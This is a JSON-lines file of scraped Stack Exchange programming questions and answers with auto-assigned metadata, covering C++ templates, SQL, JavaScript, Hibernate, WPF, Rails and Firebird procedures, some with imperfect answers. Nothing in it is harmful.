{"id": "hf_e560f5d1f349", "question": "<p>I have a C++ template class that gets instantiated with 3 different type parameters. There's a method that the class needs to have for only one of those types and that isn't ever called with the two other types.</p>\n\n<p>Will object code for that method be generated thrice (for all types for which the template is instantiated), or is object code generated only once (for the type with which it is actually used)?</p>\n", "question_body": "", "answer": "Usually, yes.\nAll the compiler really knows is that your program can create at least one instance of each class.  But it doesn't know what you will do with those instances.  So the code will almost certain be generated.\nThat said, if the methods in question are\nnot\nvirtual, and are never called, the\nlinker\ncan remove them with its normal dead code removal features.  So the generated (and compiled) code won't be in the final EXE.\nAlso this will largely depend on the C++ compiler being used because they're not all the same.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:04.963397"}
{"id": "hf_95ea205391e5", "question": "<p>I need to generate multiple random values under SQL Server 2005 and somehow this simply wont work</p>\n\n<pre><code>with Random(Value) as\n(\n    select rand() Value\n        union all\n    select rand() from Random\n\n)select top 10 * from Random\n</code></pre>\n\n<p>Whats the preffered workaround?</p>\n", "question_body": "", "answer": "I'm currently using this:\n```\n```\nwith Random(Value) as\n(\n    select rand(checksum(newid())) Value\n        union all\n    select rand(checksum(newid())) from Random  \n)select top 10 * from Random\n```\n```\nbut that seems overly hackish :S\nWhy doesnt rand get reevaluated in the first version?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:05.021345"}
{"id": "hf_ec95d2ad0ce1", "question": "<p>We are using Visual Studio 2008 as our primary development IDE.  Our security team has set up McAfee to scan files in our \\Local Settings\\Temp folder.  Unfortunately VS uses this directory during code builds which is slowing the developers down.  We've reached an impasse with the security team on this, and wonder if anyone knows of a configuration setting in VS where we could change the folder to where those temporary files are written.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "Maybe complain a lot that you need faster computers since the added security slows you down so much? Have hard facts ready (like \"slower compile time costs me 60 minutes every day\")\nUsually when it comes around to spending money most businesses find other ways around a problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:05.068707"}
{"id": "hf_1ceaab4a6be5", "question": "<p>What's the best way to break from nested loops in Javascript?</p>\n\n<pre><code>//Write the links to the page.\nfor (var x = 0; x &lt; Args.length; x++)\n{\n   for (var Heading in Navigation.Headings)\n   {\n      for (var Item in Navigation.Headings[Heading])\n      {\n         if (Args[x] == Navigation.Headings[Heading][Item].Name)\n         {\n            document.write(\"&lt;a href=\\\"\" \n               + Navigation.Headings[Heading][Item].URL + \"\\\"&gt;\" \n               + Navigation.Headings[Heading][Item].Name + \"&lt;/a&gt; : \");\n            break; // &lt;---HERE, I need to break out of two loops.\n         }\n      }\n   }\n}\n</code></pre>\n", "question_body": "", "answer": "Wrap that up in a function and then just\n```\nreturn\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:05.104381"}
{"id": "hf_782ec9ad4632", "question": "<p>Is it possible to make hibernate do \"the right thing\" for some value of \"right\" in this situation?</p>\n\n<pre><code>from ClassA a, ClassB b\nwhere a.prop = b.prop\n</code></pre>\n\n<p>The thing is that prop is a UserType with different representation in the joined tables. In table A it is represented as an integer and in table B it is represented as a char. So the eq test translates to see if 1 == 'a' more or less, which is false but the object represented by 1 or 'a' should is the same so they should compare true.</p>\n", "question_body": "", "answer": "(1) Change data-type of columns which map to \"prop\" to be the same. This will require \"Making DBA your friend\" but will result in consitent \"prop\" UserType usage.\n(2) Handle the type differences in equals() method\n```\n```\npublic boolean equals(Object x, Object y) throws HibernateException {\n    boolean retValue = false;\n    if (x == y) retValue = true;\n\n    if (x!=null && y!=null){\n        Character xChar = new Character(x);\n        Character yChar = new Character(y);\n        if (xChar.equals(ychar)){\n            retValue = true;\n        }\n    }\n\n    return retValue;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:05.139556"}
{"id": "hf_551cf22754eb", "question": "<p>I have one question maybe someone here can help me. If i do \"ps aux --sort user\" on linux console I have one list of users and their processes runing on the machine. My question is how do I remove the users name and print that list like this <strong>in a C program</strong>:</p>\n\n<p>for example:</p>\n\n<pre><code>(…)\n--------------------------------------------------------------------------\nuser: APACHE\n--------------------------------------------------------------------------\n3169 0.0 1.2 39752 12352 ? S 04:10 0:00 /usr/sbin/httpd\n--------------------------------------------------------------------------\nuser: VASCO\n--------------------------------------------------------------------------\n23030 0.0 0.1 4648 1536 pts/1 Ss 20:02 0:00 –bash\n\n(…)\n</code></pre>\n\n<p>I print the user name then I print his processes... any ideas ?</p>\n\n<p>thx</p>\n", "question_body": "", "answer": "```\n```\nps aux --sort user | perl -npe 's/^(\\w+)//g; if ($user ne $1) {$user=$1; print \"user: \" . uc($user) . \"\\n\";}'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:05.162600"}
{"id": "hf_f74009a8861f", "question": "<p>I have unmanaged C++ calling a managed delegate via the function pointer provided by Marshal::GetFunctionPointerForDelegate.  This delegate has the potential to throw an exception.  I need to be able to properly handle this exception in my unmanaged C++ to ensure things like pointer cleanup, and potentially rethrow the exception up into more managed code.  The call stack is similar to this:</p>\n\n<p>Managed Code -> Unmanaged C++ -> callback to Managed Code via delegate (exception can be thrown here).</p>\n\n<p>Anyone have pointers for properly handling this situation so that the resources in unmanaged code can be cleaned up and a usable exception can be thrown out to the managed code which initiated the whole call stack?</p>\n", "question_body": "", "answer": "Catching from managed code with\n```\n```\ntry\n{\n  throw gcnew InvalidOperationException();\n}\ncatch(InvalidOperationException^ e)\n{\n  // Process e\n  throw;\n}\n```\n```\nAnd an\n```\n```\n[assembly:RuntimeCompatibility(WrapNonExceptionThrows = true)];\n```\n```\non your assembly catches managed and unmanaged exceptions", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:05.197699"}
{"id": "hf_28de289e3863", "question": "<p>I'm having some trouble with plain old JavaScript (no frameworks) in referencing my object in a callback function.</p>\n\n<pre><code>function foo(id) {\n    this.dom = document.getElementById(id);\n    this.bar = 5;\n    var self = this;\n    this.dom.addEventListener(\"click\", self.onclick, false);\n}\n\nfoo.prototype = {\n    onclick : function() {\n        this.bar = 7;\n    }\n};\n</code></pre>\n\n<p>Now when I create a new object (after the DOM has loaded, with a span#test)</p>\n\n<pre><code>var x = new foo('test');\n</code></pre>\n\n<p>The 'this' inside the onclick function points to the span#test and not the foo object.</p>\n\n<p>How do I get a reference to my foo object inside the onclick function?</p>\n", "question_body": "", "answer": "```\n```\nthis.dom.addEventListener(\"click\", function(event) {\n    self.onclick(event)\n}, false);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:05.221528"}
{"id": "hf_03fc0d2243b8", "question": "<p>Passing an undimensioned array to the VB6's Ubound function will cause an error, so I want to check if it has been dimensioned yet before attempting to check its upper bound.  How do I do this?</p>\n", "question_body": "", "answer": "I found this:\n```\n```\nDim someArray() As Integer\n\nIf ((Not someArray) = -1) Then\n  Debug.Print \"this array is NOT initialized\"\nEnd If\n```\n```\nEdit\n: RS Conley pointed out in his\nanswer\nthat (Not someArray) will sometimes return 0, so you have to use ((Not someArray) = -1).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:05.387099"}
{"id": "hf_79fa149985f4", "question": "<p>I have a SEAM app with some JPA/Hibernate entities. And I now wonder where to put my query, persistence methods.</p>\n\n<p>The default choice seems to put them in a session bean layer with injected </p>\n\n<pre><code>@PersistenceContext(...) @Inject EntityManager entityManager;\n</code></pre>\n\n<p>But I think I would rather have the methods on the entities themselves. What are the pro's/con's? </p>\n\n<ol>\n<li>Testablity?</li>\n<li>Niceness?</li>\n<li>Performance?</li>\n</ol>\n\n<p>And does anyone have links to best practices for interacting with the EntityManager etc. from methods on the Entities rather than session beans?</p>\n\n<p>Best,\nAnders</p>\n", "question_body": "", "answer": "I have no experience with SEAM, but from my experience with Java projects, I found it easiest to keep beans clear of persist methods. What we usually do:\nHave beans for business objects (like \"User\" and \"Setting\" for example)\nHave a DAO layer which can persist and retrieve these beans (simple CRUD)\nHave a Service Layer which nows how to handle the beans, and maybe even how to build an aggregate of beans\nThis way, everything is pretty separated, and is easy to unittest. Performance is usually not an issue with this setup.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:05.410487"}
{"id": "hf_e15437f407c4", "question": "<p>Does Mono .NET support and compile C++ / CLI?</p>\n\n<p>If not, do you know if they have any plans of supporting it?</p>\n", "question_body": "", "answer": "go\nhere\nand look under \"Missing Languages\".  But just because you cant compile does not mean that you cant\nrun\n.  You can compile your C++ code using the framework sdk and try running it using mono.  Worth trying anyway.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:05.456570"}
{"id": "hf_cbcc6b31d75c", "question": "<p>How can I add a line break to text when it is being set as an attribute i.e.:</p>\n\n<pre><code>&lt;TextBlock Text=\"Stuff on line1 \\n Stuff on line2\" /&gt;\n</code></pre>\n\n<p>Breaking it out into the exploded format isn't an option for my particular situation.  What I need is some way to emulate the following:</p>\n\n<pre><code>&lt;TextBlock&gt;\n  &lt;TextBlock.Text&gt;\n    Stuff on line1 &lt;LineBreak/&gt;\n    Stuff on line2\n  &lt;/TextBlock.Text&gt;\n&lt;TextBlock/&gt;\n</code></pre>\n", "question_body": "", "answer": "```\n```\n<TextBlock Text=\"Stuff on line1&#x0a;Stuff on line 2\"/>\n```\n```\nYou can use any hexadecimally encoded value to represent a literal. In this case, I used the line feed (char 10). If you want to do \"classic\"\n```\nvbCrLf\n```\n, then you can use\n```\n&#x0d;&#x0a;\n```\nBy the way, note the syntax: It's the ampersand, a pound, the letter\nx\n, then the hex value of the character you want, and then finally a semi-colon.\nALSO: For completeness, you can bind to a text that already has the line feeds embedded in it like a constant in your code behind, or a variable constructed at runtime.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:05.491172"}
{"id": "hf_cce947569439", "question": "<p>I have an <em>extremely</em> simple <code>routes.rb</code> in my Rails app:</p>\n\n<pre><code>ActionController::Routing::Routes.draw do |map|\n  map.resources :tags\nend\n</code></pre>\n\n<p>Starting up my app with <code>script/server</code> and pointing my browser to <code>localhost:3000/tags/</code> yields:</p>\n\n<h3>ActionController::MethodNotAllowed</h3>\n\n<pre><code>Only get and post requests are allowed.\n</code></pre>\n\n<p>...</p>\n\n<p>Starting up my app with <code>script/server webrick</code>, however, solves the problem.</p>\n\n<p><em>Later</em>: in case it matters, I'm running Mongrel 1.1.5 on OSX 10.5.5.</p>\n", "question_body": "", "answer": "I have seen this happen with older versions of mongrel, but 1.1.5 is not old. I have also seen some similar problems when the browser double-posts a request to a URL. Is that happening here?\nI'd need some more information to be able to help you: What browser are you using? Are you using the firebug plugin on Firefox? What does the server log say about the request, other than the MethodNotAllowed exception?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:05.583929"}
{"id": "hf_b4d76cd3a023", "question": "<p>How do I fix that error once and for all?  I just want to be able to do unions in MySQL.  </p>\n\n<p>(I'm looking for a shortcut, like an option to make MySQL ignore that issue or take it's best guess, not looking to change collations on 100s of tables ... at least not today)</p>\n", "question_body": "", "answer": "Not sure about mySQL but in MSSQL you can change the collation in the query so for example if you have 2 tables with different collation and you want to join them or as in you situation crate UNION you can do\n```\n```\nselect column1 from tableWithProperCollation\nunion all\nselect column1 COLLATE SQL_Latin1_General_CP1_CI_AS from tableWithDifferentCollation\n```\n```\nOf course SQL_Latin1_General_CP1_CI_AS is just an example of collation you want to \"convert\" to", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:05.607562"}
{"id": "hf_06d4ce7cb414", "question": "<p>Is there any way to determine a removable drive speed in Windows without actually reading in a file.  And if I do have to read in a file, how much needs to be read to get a semi accurate speed (e.g. determine whether a device is USB2 or USB1)?</p>\n\n<p><strong>EDIT</strong>: Just to clarify, USB2 and USB1 were an example.  These could be Compact Flash, could be SSD, could be a removable drive.  And I am trying to determine this as fast as possible as it has a real effect on the responsiveness of the application.</p>\n\n<p><strong>EDIT</strong>:  Should also clarify, this has to be done programatically.  It will probably be done in C++.</p>\n\n<p><strong>EDIT</strong>: Boost answer is kind of what I was looking for (though I haven't written any WMI in C++).  But I need to know what properties I have to check to determine relative speed.  I don't need exact speed (like I said about the difference in speed between USB1 and USB2), but I need to know if it is going to be SLLOOOOWWW.</p>\n", "question_body": "", "answer": "Several megabytes, I'd say. Transfer speeds can start out slow, and then speed up as the transfer progresses. There are also variations because of file sizes (a single 1GB file will transfer much faster than 1GB of smaller files).\nBest way to do that would be to copy a file to/from the device, and time how long it takes with your code. USB1 speed is 11Mb/s (I think), and USB2 is 480Mb/s (note those are numbers for the whole bus, not each port, so multiple devices on the same bus will change the actual numbers).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:05.630987"}
{"id": "hf_1dd2f0f163b1", "question": "<p>What is an efficient way to shrink a two dimensional array to a smaller size in C#?</p>\n\n<p>For example:</p>\n\n<pre><code>var bigArray = new object[100, 100];\nvar smallArray = new object[10, 10];\n\nbigArray[0, 0] = 1;\nbigArray[0, 1] = 2;\n...\nbigArray[99, 99] = 100000;\n\n\nstartRowIndex = 0;\nstartColumnIndex = 0;\nendRowIndex = 9;\nendColumnIndex = 9;\n\nsmallArray = bigArray.SomeShirnkingMethod(startRowIndex, startColumnIndex, endRowIndex, endColumnIndex);\n</code></pre>\n\n<p>How will you write SomeShrinkingMethod() ?</p>\n\n<p>Thanks!</p>\n\n<p>EDIT: I'm simply trying to get the first 10 rows and columns of the bigArray into the smallArray but I'm not sure if a looping through the array is the most efficient method.</p>\n", "question_body": "", "answer": "You've got to create a new array of the desired size (in your code, you've already done this) and copy the content. I'm not sure what the “shrinking” operation needs to do in your case. However, you cannot modify the dimensions of an existing array.\nThe function you proposed is defective because it can't know the dimensions of the target array. Either you pass it the dimensions and dimension the new array internally or you pass it the target array and simply copy the contents.\nEdit:\nIn response to your edit: Yes, looping will be the reasonable way to do this and this is also reasonably fast. I'm not aware of a block-copying mechanism in .NET that can be applied to multidimensional arrays.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:05.730689"}
{"id": "hf_c81552a53d85", "question": "<p>We are doing some performance tests on our website and we are getting the following error a lot:</p>\n\n<pre><code>*** 'C:\\inetpub\\foo.plex' log message at: 2008/10/07 13:19:58\nDBD::ODBC::st execute failed: [Microsoft][SQL Native Client]String data, right truncation (SQL-22001) at C:\\inetpub\\foo.plex line 25.\n</code></pre>\n\n<p>Line 25 is the following:</p>\n\n<pre><code>SELECT DISTINCT top 20 ZIP_CODE, CITY, STATE FROM Zipcodes WHERE (ZIP_CODE like ?) OR (CITY like ?) ORDER BY ZIP_CODE\n</code></pre>\n\n<p>And lastly, this is perl code.</p>\n\n<p>Any ideas?</p>\n\n<p><strong>EDIT</strong>: the issue here was that I was searching in the zip file with the string \"74523%\" which is too long.  I ended up just not adding the % if they give five digits.</p>\n", "question_body": "", "answer": "Either the parameter supplied for\n```\nZIP_CODE\n```\nis larger (in length) than\n```\nZIP_CODE\n```\ns column width or the parameter supplied for\n```\nCITY\n```\nis larger (in length) than\n```\nCITY\n```\ns column width.\nIt would be interesting to know the values supplied for the two\n```\n?\n```\nplaceholders.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:05.766555"}
{"id": "hf_dcd01d477675", "question": "<p>I've got a UI front end which talks to and manipulates a SQL Server database, and one of the things it can do is run reports on the data in the database. </p>\n\n<p>This UI can be installed on multiple computers, and so far I've just been keeping the reports in a folder with the install, but this means that any time a new report is added is has to manually be copied to every single UI install out there.</p>\n\n<p>I was thinking of storing the .rpt files in the database itself (As Blobs) and having some mechanism for the UI to fetch them when needed as a way to centralize the reports and eliminate this issue.</p>\n\n<p>Has anybody tried this, and did it work well? Or if you haven't, can you think of anything I should take into account before moving forward with this? Are the any tips, tricks, or caveats you can think of that might be helpful to me?</p>\n", "question_body": "", "answer": "Here's great podcast with Paul Randal (he wrote parts of DBCC!) where they talk about the new filestream feature in sql server 2008  for handling blobs, but they also go into the sizes of files that do and don't work well\nas blobs as part of the talk. I think it would help you.\nhttp://www.runasradio.com/default.aspx?showNum=74\nI just found out that the 25-page FILESTREAM whitepaper Paul wrote has has been published on MSDN.\nhttp://msdn.microsoft.com/en-us/library/cc949109.aspx\n.\nBased on the research cited later in this white paper, BLOBs smaller than 256 kilobytes (KB) (such as widget icons) are better stored inside a database, and BLOBs larger than 1 megabyte (MB) are best stored outside the database. For those sized between 256 KB and 1 MB, the more efficient storage solution depends on the read vs. write ratio of the data, and the rate of “overwrite”. Storing BLOB data solely within the database (e.g., using the varbinary(max) data type) is limited to 2 gigabytes (GB) per BLOB.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:05.816835"}
{"id": "hf_910c8c5f0757", "question": "<p>So, I have a nice domain model built.  Repositories handle the data access and what not.  A new requirements has popped up that indicates that reasons need to be logged with deletes.  Up until now, deletes have been fairly simple => Entity.Children.Remove(child).  No internal change tracking was happening as my ORM tool was handling state management.  However, I'm not sure exactyl how to handle this.</p>\n\n<p>1) I could keep a deleted children collection in the parent entity and pull the change tracking out of nHibernate and handle it myself.</p>\n\n<p>2) ??????</p>\n", "question_body": "", "answer": "Could you implement the\nIInterceptor interface\nand override the onDelete functionality to pull the information you need from the entity and send it to logger before you delete (using NHibernate of course)?\nexample", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:05.840617"}
{"id": "hf_fcc6cf53c2af", "question": "<p>I would like to ask for some simple examples showing the uses of <code>&lt;div&gt;</code> and <code>&lt;span&gt;</code>. I've seen them both used to mark a section of a page with an <code>id</code> or <code>class</code>, but I'm interested in knowing if there are times when one is preferred over the other.</p>\n", "question_body": "", "answer": "```\n<div>\n```\nis a block-level element and\n```\n<span>\n```\nis an inline element.\nIf you wanted to do something with some inline text,\n```\n<span>\n```\nis the way to go since it will not introduce line breaks that a\n```\n<div>\n```\nwould.\nAs noted by others, there are some semantics implied with each of these, most significantly the fact that a\n```\n<div>\n```\nimplies a logical division in the document, akin to maybe a section of a document or something, a la:\n```\n```\n<div id=\"Chapter1\">\n   <p>Lorem ipsum dolor sit amet, <span id=\"SomeSpecialText1\">consectetuer adipiscing</span> elit. Duis congue vehicula purus.</p>\n   <p>Nam <span id=\"SomeSpecialText2\">eget magna nec</span> sapien fringilla euismod. Donec hendrerit.</p> \n</div>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:05.887168"}
{"id": "hf_cfaf1d13c731", "question": "<p>I am trying to install newgem on my linux box (sudo gem install newgem) and i am getting the following error:</p>\n\n<pre><code>Building native extensions.  This could take a while...\nERROR:  Error installing newgem:\nERROR: Failed to build gem native extension.\n\n/usr/bin/ruby1.8 extconf.rb install newgem\nextconf.rb:1:in `require': no such file to load -- mkmf (LoadError)\nfrom extconf.rb:1\n\n\nGem files will remain installed in /usr/lib/ruby/gems/1.8/gems/RedCloth-4.0.4 for inspection.\nResults logged to /usr/lib/ruby/gems/1.8/gems/RedCloth-4.0.4/ext/redcloth_scan/gem_make.out\n</code></pre>\n\n<p>What could the problem be?</p>\n", "question_body": "", "answer": "```\nmkmf\n```\nis a Ruby module which generates Makefiles.  It is supposed to be part of the standard Ruby install, but Debian (and derivatives) split it out into the\n```\nruby1.8-dev\n```\npackage.\nIf you can't find\n```\nmkmf.rb\n```\nin any of the directories outputted by\n```\nruby -e'print $:.join(\"\\n\")'\n```\n, then you should figure out what you need to install.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:05.945305"}
{"id": "hf_3e2d5c512062", "question": "<p>What tool is there for generating C# classes from NHibernate mappings files?</p>\n", "question_body": "", "answer": "On the\nNHibernate resources page\nunder 'Helpful tools', there are a few code generators listed:\nhttp://nhibernate.info/doc/nh/en/index.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:05.980232"}
{"id": "hf_d0a48f16516b", "question": "<p>Why does Visual studio take so long to delete a file from the solution tree?  The app freezes and sits there for what feels like an eternity. </p>\n\n<p>If I delete the file from the file system first, then delete it in the solution it happens instantly.</p>\n\n<p>Is there an option I can set somewhere to avoid this?</p>\n", "question_body": "", "answer": "I've found that this is sometimes a symptom of project size. Deleting a file from a project with hundreds of files can take 30 seconds on my (admittedly slow) work computer. But deleting one of two files in a project is usually instant.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:06.015354"}
{"id": "hf_414820256929", "question": "<p>Is there a way to select manually a node in virtualizing TreeView and then bring it into view?</p>\n\n<p>The data model I'm using with my TreeView is implemented based on the VM-M-V model. Each TreeViewItem's IsSelected property is binded to a corresponing property in ViewModel. I've also created a listener for TreeView's ItemSelected event where I call BringIntoView() for the selected TreeViewItem.</p>\n\n<p>The problem with this approach seems to be that the ItemSelected event won't be raised until the actual TreeViewItem is created. So with the virtualization enabled node selection won't do anything until the TreeView is scrolled enough and then it jumps \"magically\" to the selected node when the event is finally raised.</p>\n\n<p>I'd really like to use virtualization because I have thousands of nodes in my tree and I've already seen quite impressive performance improvements when the virtualization has been enabled. </p>\n", "question_body": "", "answer": "Here is an example taken from an\nMSDN Question\npublic void ScrollToItem(int index)\n```\n```\n{\n\n        Dispatcher.BeginInvoke(System.Windows.Threading.DispatcherPriority.Background,\n\n            (System.Windows.Threading.DispatcherOperationCallback)delegate(object arg)\n\n            {\n\n                int N = fileList.Items.Count;\n\n                if (N == 0)\n\n                    return null;\n\n                if (index < 0)\n\n                {\n\n                    fileList.ScrollIntoView(fileList.Items[0]); // scroll to first\n\n                }\n\n                else\n\n                {\n\n                    if (index < N)\n\n                    {\n\n                        fileList.ScrollIntoView(fileList.Items[index]); // scroll to item\n\n                    }\n\n                    else\n\n                    {\n\n                        fileList.ScrollIntoView(fileList.Items[N - 1]); // scroll to last\n\n                    }\n\n                }\n\n                return null;\n\n            }, null);\n\n    }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:06.090429"}
{"id": "hf_f373e7443038", "question": "<p>I have this code that performs an ajax call and loads the results into two duplicate divs every time a dropdown is changed. I want the results to be faded into the div, to give a more obvious indication that something has changed, as its so seamless its sometimes hard to notice the change!</p>\n\n<pre><code>print(\"$('.ajaxdropdown').change(function(){\n\n\n        $.ajax({\n            type: \"GET\",\n            url: \"/includes/html/gsm-tariff.php\",\n            data: \"c_name=\"+escape($(this).val()),\n            success: function(html){\n                $(\"#charges-gsm\").html(html);\n                                    //i want to fade result into these 2 divs...\n                $(\"#charges-gsm-faq\").html(html);\n                $(\"#charges-gsm-prices\").html(html);\n            }\n        });\n    });\");\n</code></pre>\n\n<p>I've tried appending the fadein method and a few other things, but no joy.</p>\n", "question_body": "", "answer": "You'll have to\n```\nhide()\n```\nit before you can use\n```\nfadeIn()\n```\n.\nUPDATE:\nHere's how you'd do this by chaining:\n```\n```\n$(\"#charges-gsm-faq\").hide().html(html).fadeIn();\n$(\"#charges-gsm-prices\").hide().html(html).fadeIn();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:06.114596"}
{"id": "hf_bd692ec50b7a", "question": "<pre><code>select distinct constraint_type from user_constraints;\n\nC\n-\nC\nP\nR\nU\n</code></pre>\n\n<p>Seems P means primary key and R means foreign key, correct?  What are U and C? </p>\n", "question_body": "", "answer": "```\n```\nCode Description                Acts On Level\n---------------------------------------------\nC    Check on a table           Column\nO    Read Only on a view        Object\nP    Primary Key                Object\nR    Referential (Foreign Key)  Column\nU    Unique Key                 Column\nV    Check Option on a view     Object\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:06.138991"}
{"id": "hf_26a0c9498b54", "question": "<p>my goal is to write a stored proc that can collect all field values from multiple rows into one single output variable (maybe varchar(some_length)). It may seem strange solution but i've quite positive its the only one i can use at that situation im in. I have not used Firebird before and stored procs look way different than in other well-known  db systems.\nMy Firebird is 1.5 and dialect 3 (not sure what it means).\nSo maybe someone could help me with a algorithm example.</p>\n", "question_body": "", "answer": "The following procedure does what you describe:\n```\n```\nSET TERM !!;\nCREATE PROCEDURE concat_names\n  RETURNS (concat VARCHAR(2000))\nAS\nDECLARE VARIABLE name VARCHAR(100);\nBEGIN\n  concat = '';\n  FOR SELECT first_name || ' ' || last_name FROM employee INTO :name\n  DO BEGIN\n    concat = concat || name || ', ';\n  END\nEND!!\nSET TERM ;!!\nEXECUTE PROCEDURE concat_names;\n```\n```\nBut I question the wisdom of this solution.  How do you know the VARCHAR is long enough for all the rows in your desired dataset?\nIt's far easier and safer to run a query to return the result to an application row by row.  Every application programming language has methods to concatenate strings, but more importantly they have more flexible methods to manage the growth of data.\nBy the way, \"dialect\" in Firebird and InterBase refers to a compatibility mode that was introduced so that applications developed for InterBase 5.x can work with later versions of InterBase and Firebird.  That was almost ten years ago, and AFAIK there's no need today to use anything lower than dialect 3.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:06.175600"}
